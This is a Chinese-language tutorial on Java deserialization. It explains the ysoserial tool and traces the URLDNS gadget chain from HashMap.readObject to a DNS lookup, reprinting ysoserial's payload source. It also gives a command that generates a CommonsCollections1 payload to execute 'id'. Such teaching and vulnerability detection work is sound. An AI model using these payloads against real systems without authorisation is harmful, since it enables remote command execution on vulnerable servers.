给个关注?宝儿!
给个关注?宝儿!
给个关注?宝儿!
ysoserial
下载地址:https://github.com/angelwhu/ysoserial
ysoserial可以让⽤户根据⾃⼰选择的利⽤链,⽣成反序列化利⽤数据,通过将这些数据发送给⽬标,从⽽执⾏⽤户预先定义的命令。
什么是利⽤链?
利⽤链也叫“gadget chains”,我们通常称为gadget。如果你学过PHP反序列化漏洞,那么就可以将gadget理解为⼀种⽅法,它连接的是从触发位置开始到执⾏命令的位置结束,在PHP⾥可能
是 __desctruct 到 eval ;如果你没学过其他语⾔的反序列化漏洞,那么gadget就是⼀种⽣成POC的
⽅法罢了。
ysoserial的使⽤也很简单,虽然我们暂时先不理解 CommonsCollections ,但是⽤ysoserial可以很容
易地⽣成这个gadget对应的POC:
java -jar ysoserial-master-30099844c6-1.jar CommonsCollections1 "id"
如上,ysoserial⼤部分的gadget的参数就是⼀条命令,⽐如这⾥是 id 。⽣成好的POC发送给⽬标,如
果⽬标存在反序列化漏洞,并满⾜这个gadget对应的条件,则命令 id 将被执⾏
URLDNS利用链
URLDNS 就是ysoserial中⼀个利⽤链的名字,但准确来说,这个其实不能称作“利⽤链”。因为其参数不
是⼀个可以“利⽤”的命令,⽽仅为⼀个URL,其能触发的结果也不是命令执⾏,⽽是⼀次DNS请求。
虽然这个“利⽤链”实际上是不能“利⽤”的,但因为其如下的优点,⾮常适合我们在检测反序列化漏洞时
使⽤:
- 使⽤Java内置的类构造,对第三⽅库没有依赖
- 在⽬标没有回显的时候,能够通过DNS请求得知是否存在反序列化漏洞
ysoserial是如何⽣成 URLDNS 的代码的:
github地址
public class URLDNS implements ObjectPayload<Object> {public Object getObject(final String url) throws Exception {//Avoid DNS resolution during payload creation//Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.URLStreamHandler handler = new SilentURLStreamHandler();HashMap ht = new HashMap(); // HashMap that will contain the URLURL u = new URL(null, url, handler); // URL to use as the Keyht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.return ht;}public static void main(final String[] args) throws Exception {PayloadRunner.run(URLDNS.class, args);}/*** <p>This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance.* DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior* using the serialized object.</p>** <b>Potential false negative:</b>* <p>If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the* second resolution.</p>*/static class SilentURLStreamHandler extends URLStreamHandler {protected URLConnection openConnection(URL u) throws IOException {return null;}protected synchronized InetAddress getHostAddress(URL u) {return null;}}
}
利⽤链分析
看到 URLDNS 类的 getObject ⽅法,ysoserial会调⽤这个⽅法获得Payload。这个⽅法返回的是⼀个对
象,这个对象就是最后将被序列化的对象,在这⾥是 HashMap 。
我们前⾯说了,触发反序列化的⽅法是 readObject ,因为Java开发者(包括Java内置库的开发者)经
常会在这⾥⾯写⾃⼰的逻辑,所以导致可以构造利⽤链。
那么,我们可以直奔 HashMap 类的 readObject ⽅法
private void readObject(java.io.ObjectInputStream s)throws IOException, ClassNotFoundException {// Read in the threshold (ignored), loadfactor, and any hidden stuffs.defaultReadObject();reinitialize();if (loadFactor <= 0 || Float.isNaN(loadFactor))throw new InvalidObjectException("Illegal load factor: " +loadFactor);s.readInt(); // Read and ignore number of bucketsint mappings = s.readInt(); // Read number of mappings (size)if (mappings < 0)throw new InvalidObjectException("Illegal mappings count: " +mappings);else if (mappings > 0) { // (if zero, use defaults)// Size the table using given load factor only if within// range of 0.25...4.0float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);float fc = (float)mappings / lf + 1.0f;int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?DEFAULT_INITIAL_CAPACITY :(fc >= MAXIMUM_CAPACITY) ?MAXIMUM_CAPACITY :tableSizeFor((int)fc));float ft = (float)cap * lf;threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?(int)ft : Integer.MAX_VALUE);// Check Map.Entry[].class since it's the nearest public type to// what we're actually creating.SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap);@SuppressWarnings({"rawtypes","unchecked"})Node<K,V>[] tab = (Node<K,V>[])new Node[cap];table = tab;// Read the keys and values, and put the mappings in the HashMapfor (int i = 0; i < mappings; i++) {@SuppressWarnings("unchecked")K key = (K) s.readObject();@SuppressWarnings("unchecked")V value = (V) s.readObject();putVal(hash(key), key, value, false, false);}}}
在倒数第四行:
putVal(hash(key), key, value, false, false);
可以看到将 HashMap 的键名计算了hash
在此处下断点,对这个 hash 函数进⾏调试并跟进,这是调⽤栈:
原因:在没有分析过的情况下,我为何会关注hash函数?因为ysoserial的注释中很明确地说明
了“During the put above, the URL’s hashCode is calculated and cached. This resets that so
the next time hashCode is called a DNS lookup will be triggered.”,是hashCode的计算操作触
发了DNS请求。
hash ⽅法调⽤了key的 hashCode() ⽅法:
static final int hash(Object key) {int h;return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);}
URLDNS 中使⽤的这个key是⼀个 java.net.URL 对象,我们看看其 hashCode ⽅法:
此时, handler 是 URLStreamHandler 对象(的某个⼦类对象),继续跟进其 hashCode ⽅法:
这⾥有调⽤ getHostAddress ⽅法,继续跟进:
这⾥ InetAddress.getByName(host) 的作⽤是根据主机名,获取其IP地址,在⽹络上其实就是⼀次
DNS查询。到这⾥就不必要再跟了。
我们⽤⼀些第三⽅的反连平台就可以查看到这次请求,证明的确存在反序列化漏洞:
taborator原理:
点击“Create payload©”并生成一个唯一的URL,我可以在需要有效载荷的任何地方使用它。
如果有任何人看到这个URL并访问它,我会在Burp Suite collaborator客户端收到一条通知。
所以,⾄此,整个 URLDNS 的Gadget其实清晰⼜简单:
- HashMap->readObject()
- HashMap->hash()
- URL->hashCode()
- URLStreamHandler->hashCode()
- URLStreamHandler->getHostAddress()
- InetAddress->getByName()
从反序列化最开始的 readObject ,到最后触发DNS请求的 getByName ,只经过了6个函数调⽤,这在
Java中其实已经算很少了。
要构造这个Gadget,只需要初始化⼀个 java.net.URL 对象,作为 key 放在 java.util.HashMap
中;然后,设置这个 URL 对象的 hashCode 为初始值 -1 ,这样反序列化时将会重新计算
其 hashCode ,才能触发到后⾯的DNS请求,否则不会调⽤ URL->hashCode() 。
另外,ysoserial为了防⽌在⽣成Payload的时候也执⾏了URL请求和DNS查询,所以重写了⼀
个 SilentURLStreamHandler 类,这不是必须的。